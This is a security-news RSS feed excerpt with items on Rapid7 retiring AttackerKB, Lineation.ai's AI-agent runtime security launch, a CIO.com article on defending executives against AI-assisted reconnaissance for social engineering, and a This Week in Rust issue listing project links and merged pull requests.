AttackerKB-style content will live</span></h2><p><span>After the AttackerKB site is retired, that particular style of technical write-up will continue to be published through the Rapid7 blog, and will remain connected to the Rapid7 Vulnerability and Exploit Database. </span></p><p><span>This approach brings vulnerability analysis, exploit intelligence, and security research into a more centralized experience for anyone and everyone who accesses the current standalone site. For security practitioners, researchers, and vulnerability managers, the goal is simple: Make it easier to find the information you need without moving between separate platforms.</span></p><h2><span>Why we’re retiring community contributions</span></h2><p><span>We’re also retiring the open community contribution model of AttackerKB. This decision enables Rapid7 to maintain tighter control over the quality and accuracy of the intelligence we publish. By moving to a more curated model, we can ensure users receive high-fidelity, verified vulnerability intelligence backed by our expert research teams.</span></p><p><span>The change helps protect and fortify the integrity of the intelligence associated with Rapid7, by reducing the risk of inaccurate submissions (especially hastily AI-generated ones), and attempts to manipulate vulnerability information. Maintaining trust in security data is what matters here, and this next step means we can continue delivering intelligence practitioners can use with confidence.</span></p><h2><span>What AttackerKB API users should know</span></h2><p><span>The current public AttackerKB API will be retired alongside the public platform and community features.</span></p><p><span>Going forward, access to this vulnerability intelligence through APIs will be restructured as a dedicated capability for Rapid7 customers. If your organization currently depends on the public AttackerKB API, Rapid7 will share customer-specific guidance on available options, timing, and transition details.</span></p><h2><span>Next steps for AttackerKB users</span></h2><p><span>If you currently use AttackerKB, here are the quick-hits for August 18 and onwards:</span></p><ul><li><p><span>Visit the Rapid7 blog for new technical write-ups and </span><a href="https://www.rapid7.com/blog/tag/rapid7-analysis" target="_self"><span>vulnerability analysis</span></a><span>.</span></p></li><li><p><span>Look for a dedicated “Technical Analysis” (linked above) tag to help make AttackerKB-style content and legacy write-ups easier to find.</span></p></li><li><p><span>The AttackerKB domain will automatically redirect to the Rapid7 Vulnerability and Exploit Database.</span></p></li><li><p><span>Use the Vulnerability and Exploit Database as your central source for vulnerability intelligence moving forward.</span></p></li></ul><p><span>AttackerKB has played an important role in helping security teams understand risk and prioritize action. We’re grateful to everyone who contributed, shared knowledge, and helped shape the platform over the years, and we’re excited to deliver the same trusted intelligence through a more unified experience.</span></p>]]></content:encoded>
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<title><![CDATA[Lineation.ai focuses on runtime security for autonomous AI agents]]></title>
<description><![CDATA[Lineation.ai has announced the public launch of its comprehensive agentic security platform. Delivering a solution at the intersection of GenAI Application Security and Runtime Defense, Lineation introduces a Zero Trust unified control plane and a lightweight endpoint daemon that secures…
Read mo...]]></description>
<link>https://tsecurity.de/de/3672962/it-security-nachrichten/lineationai-focuses-on-runtime-security-for-autonomous-ai-agents/</link>
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<pubDate>Thu, 16 Jul 2026 11:36:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Lineation.ai has announced the public launch of its comprehensive agentic security platform. Delivering a solution at the intersection of GenAI Application Security and Runtime Defense, Lineation introduces a Zero Trust unified control plane and a lightweight endpoint daemon that secures…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/lineation-ai-focuses-on-runtime-security-for-autonomous-ai-agents/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/lineation-ai-focuses-on-runtime-security-for-autonomous-ai-agents/">Lineation.ai focuses on runtime security for autonomous AI agents</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Lineation.ai focuses on runtime security for autonomous AI agents]]></title>
<description><![CDATA[Lineation.ai has announced the public launch of its comprehensive agentic security platform. Delivering a solution at the intersection of GenAI Application Security and Runtime Defense, Lineation introduces a Zero Trust unified control plane and a lightweight endpoint daemon that secures autonomo...]]></description>
<link>https://tsecurity.de/de/3672929/it-security-nachrichten/lineationai-focuses-on-runtime-security-for-autonomous-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672929/it-security-nachrichten/lineationai-focuses-on-runtime-security-for-autonomous-ai-agents/</guid>
<pubDate>Thu, 16 Jul 2026 11:23:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Lineation.ai has announced the public launch of its comprehensive agentic security platform. Delivering a solution at the intersection of GenAI Application Security and Runtime Defense, Lineation introduces a Zero Trust unified control plane and a lightweight endpoint daemon that secures autonomous AI agents directly at execution. As enterprises adopt autonomous AI agents that read sensitive data, call APIs, and execute workflows, traditional static perimeters and standard LLM gateways fall blind. By assigning a Zero Trust … <a href="https://www.helpnetsecurity.com/2026/07/16/lineation-ai-zero-trust-control-plane/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/16/lineation-ai-zero-trust-control-plane/">Lineation.ai focuses on runtime security for autonomous AI agents</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[The executive profile your security team isn’t defending]]></title>
<description><![CDATA[A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substanti...]]></description>
<link>https://tsecurity.de/de/3672879/it-security-nachrichten/the-executive-profile-your-security-team-isnt-defending/</link>
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<pubDate>Thu, 16 Jul 2026 11:09:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substantive reconnaissance in under ten minutes.</p>



<p class="wp-block-paragraph">What came back was a synthesized profile. Board memberships and the dates they started. A pattern of public commentary that revealed which policy positions the executive held strongly and which ones he would likely bend on under pressure. A philanthropic interest that explained which causes he would respond to if someone framed an ask around them. None of this information was sensitive in isolation. But assembled into a single, queryable narrative, it was something an attacker could use immediately.</p>



<p class="wp-block-paragraph">What I was looking at was a publicly accessible query to a general-purpose AI tool. And that is the problem most executive protection programs have not yet confronted. The reconnaissance phase for a targeted social engineering attack now takes minutes, not days, and the inputs required are trivial.</p>



<p class="wp-block-paragraph">AI-aggregated executive data has become an attack surface. Most security programs have not yet adapted to it.</p>



<h2 class="wp-block-heading"><a></a>The reconnaissance phase has effectively collapsed</h2>



<p class="wp-block-paragraph">Traditional <a href="https://www.csoonline.com/article/567859/what-is-osint-top-open-source-intelligence-tools.html">OSINT</a> work against an executive target required skill and patience. A competent analyst could build a useful profile over several days by working through search engines, corporate filings, social platforms and archived media. That work was a meaningful barrier. It took time and it required judgment about which sources to trust. It also left trails if the attacker was careless.</p>



<p class="wp-block-paragraph">AI aggregation removes all three constraints.</p>



<p class="wp-block-paragraph">The speed advantage is obvious but it is not the most important change. The more significant shift is synthesis. A search engine returns documents. An AI tool returns a coherent narrative with inferred relationships and interpreted significance. When I query a major AI platform for a senior executive by name, I get a structured account of their career arc, their professional relationships, their areas of visible influence and frequently their personal interests, relationships and public-facing affiliations.</p>



<p class="wp-block-paragraph">The <a href="https://westoahu.hawaii.edu/cyber/global-weekly-exec-summary/alphv-hackers-reveal-details-of-mgm-cyber-attack/">MGM Resorts incident </a>reported in 2023 illustrated the principle at scale. Attackers reportedly identified an MGM executive on LinkedIn, used that public profile information to impersonate them in a call to the IT help desk and obtained access credentials within minutes. The OSINT required was minimal and the manipulation was straightforward. What AI tools have done since is make that kind of reconnaissance faster, more complete and available to actors who lack the manual tradecraft to run it themselves.</p>



<p class="wp-block-paragraph">As the<a href="https://www.verizon.com/business/resources/reports/dbir/"> Verizon Data Breach Investigations Report </a>consistently documents, the human element is present in the majority of confirmed breaches, and social engineering remains one of the most reliable initial access vectors.</p>



<p class="wp-block-paragraph">The accessible nature of AI tools is also expanding the threat population. Attacks that previously required a skilled analyst to design now require only a motivated actor with internet access. That changes the volume and targeting calculus. Executives who were previously too obscure to justify a sophisticated manual attack are now viable targets for anyone with a grievance and a query box.</p>



<h2 class="wp-block-heading"><a></a>What should CIOs and CISOs do about it?</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to route anything involving an executive’s public profile to the comms or PR function. That instinct made sense when the risk was reputational. It no longer covers the exposure.</p>



<p class="wp-block-paragraph">What follows is how I advise clients to structure this work.</p>



<h3 class="wp-block-heading">Monitor regularly</h3>



<p class="wp-block-paragraph">The starting point is establishing visibility into what AI tools are actually returning about your executive population. Not a one-time audit conducted during a board meeting and forgotten. The profiles shift continuously as new content is indexed, old content is reweighted and the models are updated.</p>



<p class="wp-block-paragraph">Assign ownership to run structured queries across the major platforms, including ChatGPT, Gemini, Perplexity and the Microsoft Copilot stack, on a regular cadence. Document what you find and track changes. Treat the output the same way you would treat a vulnerability scan as something to be prioritized and acted upon.</p>



<h3 class="wp-block-heading">Reduce the available attack surface</h3>



<p class="wp-block-paragraph">Work with each executive to identify content that expands their AI-indexed profile without serving any legitimate business purpose. This includes legacy conference bios that contain personal details, social posts that reveal schedule patterns or family context and board announcements that, in aggregate, map an executive’s full professional network. For some of this content, removal is possible and worth pursuing with a targeted effort.</p>



<p class="wp-block-paragraph">The more important conversation is around future behavior. Executives who habitually overshare on LinkedIn or in conference panels need to understand, concretely, what that sharing enables.</p>



<p class="wp-block-paragraph">Family member exposure is a consistent blind spot. An attacker who cannot pressure an executive directly may look for leverage through a spouse, a sibling or a child. Executives rarely consider their family members’ public digital footprint as part of their own security posture. It is.</p>



<h3 class="wp-block-heading">Shape the narrative where reduction isn’t possible</h3>



<p class="wp-block-paragraph">Public company executives, board members with mandatory disclosure obligations and individuals whose public profiles are central to their organizations’ credibility cannot simply go dark.</p>



<p class="wp-block-paragraph">The objective shifts from reduction to shaping in these cases. The goal is to ensure that what AI tools synthesize from the indexed content is professionally bound and does not inadvertently surface high-value pretext material. This is a joint exercise between security and communications, with security defining risk boundaries and communications executing the strategy.</p>



<h3 class="wp-block-heading">Train executives on what their own profile looks like</h3>



<p class="wp-block-paragraph">The most effective single intervention I have seen in executive briefings is also the simplest. Open a browser and query an AI platform on the executive in the room. Let them see the output. The reaction is consistent. They are surprised by the synthesis, uncomfortable with specific details that surface and immediately more engaged with the rest of the conversation than they were before.</p>



<p class="wp-block-paragraph">Abstract threat briefings about social engineering risks rarely land with senior leaders who feel they understand their own security position. Demonstrated evidence of their AI-mediated profile lands every time. As covered in the context of <a href="https://www.cio.com/article/4076479/from-awareness-to-ai-driven-resilience-protecting-identities-data-and-agents.html">executive-targeted attacks</a>, awareness is a prerequisite for the behavior change that makes protection programs effective.</p>



<h3 class="wp-block-heading">Integrate this into the executive protection program</h3>



<p class="wp-block-paragraph">This work belongs alongside endpoint security, credential management and physical protection in a unified executive protection program. When it remains a communications function, it lacks the reporting structure, budget authority and operational discipline that security work requires.</p>



<p class="wp-block-paragraph">Assign an owner with a security mandate. Include AI exposure in the risk register. Report on it at the same cadence as other executive protection metrics. The organizations that have done this well have not created a separate program for it. They have extended an existing one.</p>



<h2 class="wp-block-heading"><a></a>What effective executive protection programs now include</h2>



<p class="wp-block-paragraph">The organizations that have integrated AI exposure into their executive protection work share a few characteristics that distinguish them from those still treating it as a communications edge case.</p>



<ul class="wp-block-list">
<li>They treat the executive’s public information footprint as a managed attack surface with a named accountable party. Someone is responsible for it, the same way someone is responsible for endpoint patching or identity governance.</li>



<li>They include AI-assisted reconnaissance as a starting condition in red team exercises. Before any social engineering simulation begins, the red team runs the same queries an attacker would run. The pretext they design is based on what those queries return.</li>



<li>Their executive protection briefings include an AI profile review as a standing agenda point. Physical security considerations, credential exposure and public information risk are reviewed together because they are connected. An attacker who knows an executive’s schedule from their public-facing content can time a credential reset attempt or a vishing call with equal precision.</li>
</ul>



<p class="wp-block-paragraph">The executive I reviewed several years ago had no idea what his AI-indexed profile contained or what it enabled. Most of the executives I work with today are in the same position. By the time you finish reading this, it is likely those queries have already been run on someone in your organization. The question is whether your program is positioned to detect it and respond in time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 660]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3672376/tools/this-week-in-rust-this-week-in-rust-660/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672376/tools/this-week-in-rust-this-week-in-rust-660/</guid>
<pubDate>Thu, 16 Jul 2026 07:09:13 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
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<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
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<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/">Announcing Rust 1.97.0</a></li>
<li><a href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/">crates.io: development update</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://bun.com/blog/bun-in-rust">Rewriting Bun in Rust</a></li>
<li><a href="https://bullmq.io/news/260712/rust-release/">Announcing BullMQ for Rust</a></li>
<li><a href="https://github.com/zs-dima/prost-protovalidate/releases/tag/v0.6.0">prost-protovalidate 0.6 — buf.validate (protovalidate) for prost and buffa: compile-time codegen + runtime CEL, 2872/2872 conformance</a></li>
<li><a href="https://github.com/StaszeKrk/plaza/releases/tag/v1.0.0">plaza 1.0: a ratatui package-manager TUI that searches pacman, the AUR, apt, dnf, and Flatpak at once</a></li>
<li><a href="https://github.com/danube-messaging/danube/releases/tag/v0.15.1">Danube v0.15.1: native Apache Iceberg integration for streaming-to-lakehouse export</a></li>
<li><a href="https://www.willsearch.com.br/sentinel/">Guardian Sentinel. The Terminal User Interface for Guardian Decentralized Database - P2P</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.33.0">kobe 0.33.0: a Rust operator for instant CI Kubernetes clusters</a></li>
<li><a href="https://navigatorbuilds.github.io/elara-mesh/blog/black-box-for-ai-agents.html">Elara Mesh: what the black box for AI agents actually does</a></li>
<li>
<p><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.10.0">kache 0.10.0: instant download dedup, no more polling</a></p>
</li>
<li>
<p><a href="https://richer-richard.github.io/cochlea/">cochlea 0.1.0: a headless, deterministic audio engine for AI agents</a></p>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://opensourcesecurity.io/2026/2026-07-rfmf-lori-niko/">Open Source Security Podcast: Rust Foundation Maintainers Fund with Lori and Niko</a></li>
<li><a href="https://pulsebeam.dev/blog/moving-to-thread-per-core">Moving a Rust WebRTC SFU to thread-per-core</a></li>
<li><a href="https://abundance.build/blog/2026-07-11-faster-rust-tests-in-ci-with-parallel-steps/">Faster Rust tests in CI with parallel steps</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=fugcSHD-9Jw">The Only Diagram You Need to Understand Rust Ownership</a></li>
<li><a href="https://encore.dev/blog/typescript-parser-wasm">We compiled our TypeScript parser to WASM</a></li>
<li><a href="https://kerkour.com/rust-hype">Understanding the Rust hype for the busy developer</a></li>
<li><a href="https://dev.to/akavlabs_69/i-red-teamed-my-own-llm-security-gateway-in-four-passes-heres-every-gap-i-found-5cl9">I red-teamed my own LLM security gateway (Rust) in four passes — every detection gap and how I closed it</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li>[video] <a href="https://www.youtube.com/watch?v=DJhhy6YQe8k">Backend Concepts in Rust: HTTP Servers</a></li>
<li><a href="https://dystroy.org/blog/picamobile/">Fearless Embedded Rust: A FPV Lego car</a></li>
<li><a href="https://www.aravpanwar.com/writing/building-decayfmt-in-rust/">What I learned building a self-corrupting file format in Rust</a></li>
<li><a href="https://corentin-core.github.io/posts/ruxe-async-runtime-agnostic/">Come Async You Are</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#miscellaneous">Miscellaneous</a></h5>
<ul>
<li><a href="https://blog.theembeddedrustacean.com/oxidize-xiao">Oxidize XIAO — An Embedded Rust Community Program</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://crates.io/crates/dashu">dashu</a>, a pure Rust set of libraries of arbitrary precision numbers.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1628">JacobZ</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><a href="https://github.com/supernovae-st/nika/issues/424">Nika - showcase: CSV → chart PNG → markdown report (nika:chart has no example yet)</a></li>
</ul>


<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>550 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-07..2026-07-14">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158931">inline some <code>Symbol</code> functions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157104">predicate/clause cleanups</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158942">remove some AST <code>tokens</code> fields</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159019">resolver: wrap arenas in <code>WorkerLocal</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158794">rework read deduplication with pooled read recorders</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159012">shrink <code>mir::Statement</code> to 40 bytes</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157491">shrink no-op drop elaboration</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158865">specialize common <code>(1, 1)</code> case for arg unification</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158842">use SmallVec for return places in MIR</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158866">add explicit <code>Iterator::count</code> impl for <code>ChunkBy</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157153">allow <code>Allocator</code>s to be used as <code>#[global_allocator]</code>s</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158876">fix multiple logic bugs in <code>Arc::make_mut</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158940">implement feature <code>char_to_u32</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159092">make volatile operations const</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158541">move <code>std::io::Write</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159099">stabilize <code>String::from_utf8_lossy_owned</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/151379">stabilize <code>VecDeque::retain_back</code> from <code>truncate_front</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17199"><code>install</code>: Move --debug to Compilation options</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17204"><code>source</code>: incorrect duplicate package warning</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17202">fix manifest schema generation: <code>TomlDebugInfo</code> enum-variants doesn't renamed</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17198">dont apply host-config gating to stable behavior</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17191">reduce library search path length in new build dir layout</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17168">reduce rustc <code>-L</code> args used in the new <code>build-dir</code> layout</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17149">rename <code>-Zno-embed-metadata</code> to <code>-Zembed-metadata=no</code></a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17203">test: fix race in <code>cargo_compile_with_invalid_code_in_deps</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/15000">add new lints: <code>rest_pattern_accessible_field</code> and <code>unnecessary_rest_pattern</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16965">new lint: <code>definition_in_module_root</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17343"><code>arbitrary_source_item_ordering</code>: add configurable trait impl item ordering modes</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17387"><code>tests_outside_test_module</code>: put code in backticks in the lint message</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17215">count length of the first paragraph by its text</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16980">fix <code>suboptimal_flops</code> false negative with ambiguous float literals</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17416">partly disable <code>unneeded_wildcard_pattern</code> when <code>rest_pattern_accessible_field</code> is enabled</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17404">respect the configured MSRV in <code>implicit_saturating_sub</code>'s <code>if x != 0 { x -= 1 }</code> rewrite</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16513">trigger <code>single_element_loop</code> if the block contains only a final expression</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16808">optimize <code>nonstandard_macro_braces</code> by 99.9683% (1.1b → 351K)</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17381">perf: bail out of the <code>disallowed_methods</code> rule if the disallowed list is empty</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22771">ask for disclosure in AI contributions</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22734">add fixes for array length for <code>type_mismatch</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22741">add parens in transformed dyn type in ref type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22736">avoid panic in merge imports on trailing path separator</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22654">change some things for <code>#[doc = macro!()]</code> expansion</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22770">clamp cttz const-eval result to type width</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22751">correctly handled cfg'ed tail expr, take 2</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22749">crash on code actions when an unresolved module is present</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22707">crash when computing diagnostics with MIR and error types</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22744">don't complete default in default impl</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22283">early late classification of lifetimes</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22583">fix <code>render_const_using_debug_impl</code> constructing outdated std layouts</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22735">fix proc macros <code>TokenStream::from_str()</code> for doc comments</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22464">hide private fields on hover depending on context</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22753">make lsp-server <code>Response</code> type closer aligned to JSON-RPC</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22535">pretty assoc const when trait in macro</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22747">reimplement <code>crate_supports_no_std</code> syntactic heuristic</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22773">resolve non-plain paths in blocks correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22683">support Cargo 1.97.0 lockfile path setting</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22405">hir-ty: walk container exprs for <code>unused_must_use</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22768">fix onEnter erroneously deleting/interpreting <code>$foo</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22726">suggest code action fixes produced from diagnostics under cursor, even if they have effects elsewhere</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22777">treat library files as truly client immutable</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22534">turn <code>BlockLoc</code> into a tracked struct, take 3</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week many new optimizations landed, making this a very good week for performance.
The only real regression was a fix for a miscompile that will likely be re-landed in the future.</p>
<p>Triage done by <strong>@JonathanBrouwer</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=3659db0d3e2cd634c766fcda79ed118eca31a9fd&amp;end=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;absolute=false&amp;stat=instructions%3Au">3659db0d..5503df87</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.3%</td>
<td>[0.2%, 0.4%]</td>
<td>3</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.9%</td>
<td>[0.1%, 2.5%]</td>
<td>25</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-1.2%</td>
<td>[-9.9%, -0.2%]</td>
<td>195</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-3.4%</td>
<td>[-92.1%, -0.1%]</td>
<td>174</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.2%</td>
<td>[-9.9%, 0.4%]</td>
<td>198</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 10 Improvements, 10 Mixed; 7 of them in rollups
36 artifact comparisons made in total</p>
